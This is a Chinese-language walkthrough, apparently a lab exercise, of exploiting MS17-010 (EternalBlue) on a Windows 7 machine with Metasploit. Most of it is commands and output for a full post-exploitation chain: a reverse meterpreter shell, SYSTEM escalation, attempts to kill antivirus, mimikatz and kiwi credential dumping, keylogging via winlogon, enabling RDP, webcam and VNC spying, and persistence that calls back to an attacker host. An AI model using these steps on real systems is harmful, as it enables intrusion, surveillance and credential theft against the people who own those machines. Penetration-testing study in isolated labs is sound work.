永恒之蓝ms17-010的利用

实验环境:

Kali虚拟机:攻击机

Win7虚拟机:目标机

主要工具:metasploit

##获取meterpreter

  1. 使用关键字17-010在metasploit中查找
msf5 > search 17-010

Matching Modules
================

可以看到"Host is likely VULNERABLE to MS17-010!…",说明漏洞存在。

  1. 利用漏洞反弹shell,获取meterpreter

    360安全卫士会拦截,目标机器不能装360或需关闭360。

##确认用户权限

meterpreter > shell

Channel 1 created.
Microsoft Windows [�汾 6.1.7601]

C:\Windows\system32>whoami

exit
meterpreter > 

可以看到是system权限。

也可以直接在meterpreter中运行getuid查看用户权限:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

##提权

如果不是system权限,可以尝试提权:

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

看到"got system via technique…"字样,提权成功。

##关闭杀毒软件

  1. 自定义字典

/usr/share/metasploit-framework/data/wordlists/av_hips_executables.txt中自定义字典,添加需要关闭的杀毒软件进程,如zhudongfangyu.exe、360tray.exe,全部小写。

  1. 关闭杀毒软件
  • killav

不要使用run killav

meterpreter > run post/windows/manage/killav 

[*] Attempting to terminate 'ZhuDongFangYu.exe' (PID: 1064) ...
[-] Failed to terminate 'ZhuDongFangYu.exe' (PID: 1064).

[-] Failed to terminate '360Tray.exe' (PID: 3408).
[+] A total of 2 process(es) were discovered, 0 were terminated.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 


明明是system权限,进程竟然没有被杀掉,郁闷。

  • powershell

通过shell命令进入到目标机器,然后执行powershell命令开启powershell交互界面,这个时候输入命令无响应,无法通过这种方式在目标机器执行powershell命令。所以采用下面这种方法。

meterpreter > load 
load espia       load kiwi        load peinjector  load sniffer
load extapi      load lanattacks  load powershell  load unhook
load incognito   load mimikatz    load python      load winpmem
meterpreter > load powershell 
Loading extension powershell...Success.
meterpreter > help powershell

Powershell Commands
===================

    Command             Description
    -------             -----------
    powershell_execute  Execute a Powershell command string
    powershell_import   Import a PS1 script or .NET Assembly DLL
    powershell_shell    Create an interactive Powershell prompt


meterpreter > powershell_shell

现在meterpreter中加载powershell模块,然后执行powershell_shell命令进入交互式powershell界面。通过Get-Process查看到ZhuDongFangYu进程id为1064,然后通过Stop-Process停止进程,还是没有杀掉,持续郁闷。

###抓取用户密码明文

meterpreter内置了一些扩展库,可以通过输入load,然后连续按两次TAB键进行查看:

meterpreter > load

load extapi      load lanattacks  load powershell  load unhook
load incognito   load mimikatz    load python      load winpmem
meterpreter > load 

  • kiwi模块

加载kiwi模块,然后运行creds_all命令。

meterpreter > load kiwi

然而并没有得到密码,翻车。

###流量嗅探

####键盘记录

  • keyscan_dump

Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:

keyscan_start:开启键盘记录功能

keyscan_dump:显示捕捉到的键盘记录信息

keyscan_stop:停止键盘记录功能

不过在使用键盘记录功能时,通常需要跟目标进程进行绑定。下面我们会将Meterpreter跟 winlogon.exe 绑定,并在登录进程中捕获键盘记录,以获得用户的密码。

  1. 绑定进程
meterpreter > ps

可以看到winlogon.exe的pid为4060,且当前meterpreter的pid为1176。下面进行进程绑定。

meterpreter > migrate 4060
[*] Migrating from 1176 to 4060...
[*] Migration completed successfully.

绑定成功,且meterpreter的pid已迁移到目标进程。

成功捕获了受害者的输入"admin“,密码即"admin”,最后是回车。

Keylogger Recorder Meterpreter Script
This script will start the Meterpreter Keylogger and save all keys
in a log file for later anlysis. To stop capture hit Ctrl-C
Usage:
OPTIONS:

    -c <opt>  Type of key capture. (0) for user key presses, (1) for winlogon credential capture, or (2) for no migration.  Default is 2.
    -h        Help menu.
    -k        Kill old Process
    -l        Lock screen when capturing Winlogon credentials.
    -t <opt>  Time interval in seconds between recollection of keystrokes, default 30 seconds.

  • Get-Keystrokes

下载powershell脚本:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1,上传到目标主机,然后执行:

PS D:\> Import-Module .\Get-Keystrokes.ps1
PS D:\> Get-Keystrokes -LogPath c:\windows\temp\key.log
PS D:\> 

所有的按键都会被记录到key.log中。

也可以执行如下命令:

##使用用户远程登录

  1. 开启远程桌面rdp
meterpreter > run post/windows/manage/enable_rdp 

[*] Enabling Remote Desktop
[*] 	RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*] 	The Terminal Services service is not set to auto, changing it to auto ...
[*] 	Opening port in local firewall if necessary
[*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20191012054909_default_192.168.8.129_host.windows.cle_038774.txt
meterpreter > 

也可以使用如下命令,达到同样的效果:

meterpreter > run getgui -e

[!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.
[!] Example: run post/windows/manage/enable_rdp OPTION=value [...]
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] 	RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] 	Terminal Services service is already set to auto
[*] 	Opening port in local firewall if necessary
[*] For cleanup use command: run multi_console_command -r /root/.msf4/logs/scripts/getgui/clean_up__20191012.5056.rc
meterpreter > 

  1. 登录前检查

远程桌面连接前,先检查下受害用户的空闲时长,因为远程登录会把当前用户踢掉,在登录过程中也会显式提醒:

meterpreter > idletime
User has been idle for: 3 hours 48 mins 26 secs
meterpreter > 

  1. 使用rdesktop连接目标桌面
root@kali:~# rdesktop 192.168.1.8
Autoselected keyboard map en-us
Failed to negotiate protocol, retrying with plain RDP.
WARNING: Remote desktop does not support colour depth 24; falling back to 16


此时弹出GUI界面,输入用户名/密码进行登录 。

账户隐藏

上面新添加的用户可以在目标机器登录界面上看到,因此需要隐藏。

略。

端口转发

下面将远程机器192.168.1.8的3389端口反弹到本地9833端口,然后连接本地9833端口,同样达到远程桌面的效果。

meterpreter > portfwd add -l 9833 -r 192.168.1.8 -p 3389
[*] Local TCP relay created: :9833 <-> 192.168.1.8:3389
meterpreter > 

端口转发成功,现在使用rdesktop进行本地连接:

root@kali:~# rdesktop 127.0.0.1:9833
Autoselected keyboard map en-us
Failed to negotiate protocol, retrying with plain RDP.
WARNING: Remote desktop does not support colour depth 24; falling back to 16
root@kali:~# 

弹出GUI界面,使用用户名/密码登录成功。

##操作摄像头

  • 获取摄像头列表

    webcam-list
    
  • 从指定的摄像头拍摄照片

    webcam_snap
    
  • 从指定的摄像头实时视频流

    webcam_stream
    

VNC控制

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > run vnc
[*] Creating a VNC reverse tcp stager: LHOST=192.168.1.6 LPORT=4545
[*] Running payload handler
[*] VNC stager executable 73802 bytes long
[*] Uploaded the VNC agent to C:\Windows\TEMP\QwdqufeOMpX.exe (must be deleted manually)
[*] Executing the VNC agent with endpoint 192.168.1.6:4545...
meterpreter > /usr/bin/vncviewer: VNC server closed connection


不知道为什么失败了,经过测试,发现当受害者机器在锁屏界面或者普通用户登录进去的界面时会报这个错。

当管理员用户登录进去时,再运行命令,可以成功,如下:

meterpreter > run vnc
[*] Creating a VNC reverse tcp stager: LHOST=192.168.1.6 LPORT=4545
[*] Running payload handler
[*] VNC stager executable 73802 bytes long

成功弹出VNC图形界面,看到受害者桌面。

##文件操作

可以在meterpreter中使用cd、ls、cat、rm、mkdir等常规命令。

  • 上传文件
meterpreter > upload /root/flag.txt
[*] uploading  : /root/flag.txt -> flag.txt
[*] Uploaded 9.00 B of 9.00 B (100.0%): /root/flag.txt -> flag.txt
[*] uploaded   : /root/flag.txt -> flag.txt
meterpreter > 

使用pwd可以查看当前目录,即文件被传到哪里了。

  • 运行文件
meterpreter > execute -i -f cmd.exe
Process 1020 created.
Channel 40 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\>

比如上传mimikatz程序,然后执行execute -i -f mimikatz.exe ,进入mimikatz的交互界面。

然后执行下列命令获取密码:

privilege::debug
sekurlsa::logonpasswords

execute命令详解:

-f 指定可执行文件

-i 跟进程进行交互

-H 创建一个隐藏进程

-a 传递给命令的参数

-m 从内存中执行

-s 在给定会话中执行进程

-t 使用当前伪造的线程令牌运行进行

  • 下载文件
meterpreter > download "c:\Windows\System32\drivers\etc\hosts"
[*] Downloading: c:\Windows\System32\drivers\etc\hosts -> hosts
[*] Downloaded 824.00 B of 824.00 B (100.0%): c:\Windows\System32\drivers\etc\hosts -> hosts
[*] download   : c:\Windows\System32\drivers\etc\hosts -> hosts
meterpreter > 

##持久化

  • 启动项

    用msfvenom命令生成一个反弹shell后面,然后放到目标机器下列路径达到开机自启动的效果:

    C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
    

    我们只要监听相应的端口就行了。

  • 系统服务

meterpreter > run persistence -X -i 5 -p 8888 -r 192.168.1.6

meterpreter > 

persisrence参数说明:

-X 开机启动,-i 反向连接间隔, -r 连接的主机,-p 连接的端口

每隔5秒反弹到192.168.1.6到8888端口,如下:

root@kali:~# nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.1.6] from (UNKNOWN) [192.168.1.8] 49195

目标机器重启后仍然有效。

实际场景中,还是使用metasploit类的工具等待反弹:

msf5 exploit(windows/smb/ms17_010_eternalblue) > use exploit/multi/handler 
msf5 exploit(multi/handler) > set lport 8888
lport => 8888
msf5 exploit(multi/handler) > run

remotewinenum

有时候,不能直接远程桌面登录另外一台Window机器,这个时候可以使用Enter-PSSession命令,通过PowerShell终端登到远程的Window机器,这个时候,就需要被访问的机器打开5985 或者5986 端口。 默认情况下,Window 2008 Server或者Window 2012 Server会自动默认开启WinRM的服务器,从而暴露5985或者5986端口。
